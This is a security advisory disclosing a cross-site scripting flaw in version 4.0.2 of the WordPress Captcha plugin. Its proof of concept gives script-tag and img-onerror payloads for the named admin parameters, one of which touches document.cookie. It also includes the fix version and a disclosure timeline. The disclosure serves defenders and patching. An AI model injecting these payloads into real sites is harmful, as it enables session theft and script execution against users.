Plugin Name : Captcha
 
Effected Version : 4.0.2 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
http://localhost/wp-admin/admin.php?page=captcha.php
 
In the above page the following fields put the payload as below
 
cptch_label_form = “><script>alert(1)</script>
 
cptch_required_symbol = “><script>alert(2)</script>
 
 
http://localhost/wp-admin/admin.php?page=captcha.php&action=go_pro
 
 
bws_license_key =”><img src=x onerror=prompt(document.cookie);>
 
Vulnerable Parameter : cptch_label_form, cptch_required_symbol, bws_license_key
 
Type of XSS : Reflected / Stored
 
Fixed in : 4.0.3
 
http://wordpress.org/plugins/captcha/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
The Captcha plugin allows you to implement a super security captcha form into web forms. It protects your website from spam by means of math logic, easily understood by human beings. You will not have to spend your precious time on annoying attempts to understand hard-to-read words, combinations of letters or pictures that make your eyes pop up. All you need is to do one of the three basic maths actions - add, subtract and multiply. This captcha can be used for login, registration, password recovery, comments forms. There is also a premium version of the plugin, allowing compatibility with BuddyPress (Registration form, Comments form, "Create a Group" form) and Contact Form 7.